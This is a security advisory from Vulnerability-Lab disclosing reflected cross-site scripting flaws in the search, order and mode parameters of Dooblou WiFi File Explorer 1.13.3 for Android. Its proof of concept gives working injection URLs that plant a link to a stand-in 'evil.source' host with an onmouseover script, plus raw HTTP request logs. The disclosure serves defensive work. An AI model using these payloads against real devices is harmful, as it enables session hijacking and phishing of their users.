Document Title: =============== Dooblou WiFi File Explorer 1.13.3 - Multiple Vulnerabilities Date: ===== 2023-07-03 References: =========== https://www.vulnerability-lab.com/get_content.php?id=2317 VL-ID: ===== 2317 Common Vulnerability Scoring System: ==================================== 5.1 Vulnerability Class: ==================== Multiple Introduction: ============= Browse, download and stream individual files that are on your Android device, using a web browser via a WiFi connection. No more taking your phone apart to get the SD card out or grabbing your cable to access your camera pictures and copy across your favourite MP3s. (Copy of the Homepage: https://play.google.com/store/apps/details?id=com.dooblou.WiFiFileExplorer ) Abstract: ========= The vulnerability laboratory core research team discovered multiple web vulnerabilities in the official Dooblou WiFi File Explorer 1.13.3 mobile android wifi web-application. Affected Product(s): ==================== Product Owner: dooblou Product: Dooblou WiFi File Explorer v1.13.3 - (Android) (Framework) (Wifi) (Web-Application) Report-Timeline: ================ 2022-01-19: Researcher Notification & Coordination (Security Researcher) 2022-01-20: Vendor Notification (Security Department) 2022-**-**: Vendor Response/Feedback (Security Department) 2022-**-**: Vendor Fix/Patch (Service Developer Team) 2022-**-**: Security Acknowledgements (Security Department) 2023-07-04: Public Disclosure (Vulnerability Laboratory) Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== Multiple input validation web vulnerabilities has been discovered in the official Dooblou WiFi File Explorer 1.13.3 mobile android wifi web-application. The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to web-application requests from the application-side. The vulnerabilities are located in the `search`, `order`, `download`, `mode` parameters. The requested content via get method request is insecure validated and executes malicious script codes. The attack vector is non-persistent and the rquest method to inject is get. Attacker do not need to be authorized to perform an attack to execute malicious script codes. The links can be included as malformed upload for example to provoke an execute bby a view of the front- & backend of the wifi explorer. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Proof of Concept: ================= The input validation web vulnerabilities can be exploited by remote attackers without user account and with low user interaction. For security demonstration or to reproduce the web vulnerabilities follow the provided information and steps below to continue. PoC: Exploitation http://localhost:8000/storage/emulated/0/Download/
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http://localhost:8000/storage/emulated/0/Download/?mode=31&search=%3Ca+href%3D%22https%3A%2F%2Fevil.source%22+onmouseover%3Dalert%28document.domain%29%3E%3Cbr%3EPLEASE+CLICK+PATH+TO+RETURN+INDEX%3C%2Fa%3E&x=3&y=3 http://localhost:8000/storage/emulated/0/Download/?mode=%3Ca+href%3D%22https%3A%2F%2Fevil.source%22+onmouseover%3Dalert(document.domain)%3E%3Cbr%3EPLEASE+CLICK+PATH+TO+RETURN+INDEX&search=a&x=3&y=3 http://localhost:8000/storage/emulated/?order=%3Ca+href%3D%22https%3A%2F%2Fevil.source%22+onmouseover%3Dalert(document.domain)%3E%3Cbr%3EPLEASE+CLICK+PATH+TO+RETURN+INDEX Vulnerable Sources: Execution Points
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Cannot find file or directory! /storage/emulated/0/Download/
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    ---PoC Session Logs --- http://localhost:8000/storage/emulated/0/Download/
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    PLEASE+CLICK+PATH+TO+RETURN+INDEX&search=a&x=3&y=3 Host: localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: treeview=0 Upgrade-Insecure-Requests: 1 GET: HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html - http://localhost:8000/storage/emulated/0/Download/

    PLEASE CLICK USER PATH TO RETURN INDEX%3E%3Cbr%3EPLEASE%20CLICK%20USER%20PATH%20TO%20RETURN%20INDEX%3C/a%3E GET: HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: text/xml Risk: ===== The security risk of the multiple web vulnerabilities in the ios mobile wifi web-application are estimated as medium. Credits: ======== Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: https://www.vulnerability-lab.com ; https://www.vuln-lab.com ; https://www.vulnerability-db.com Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™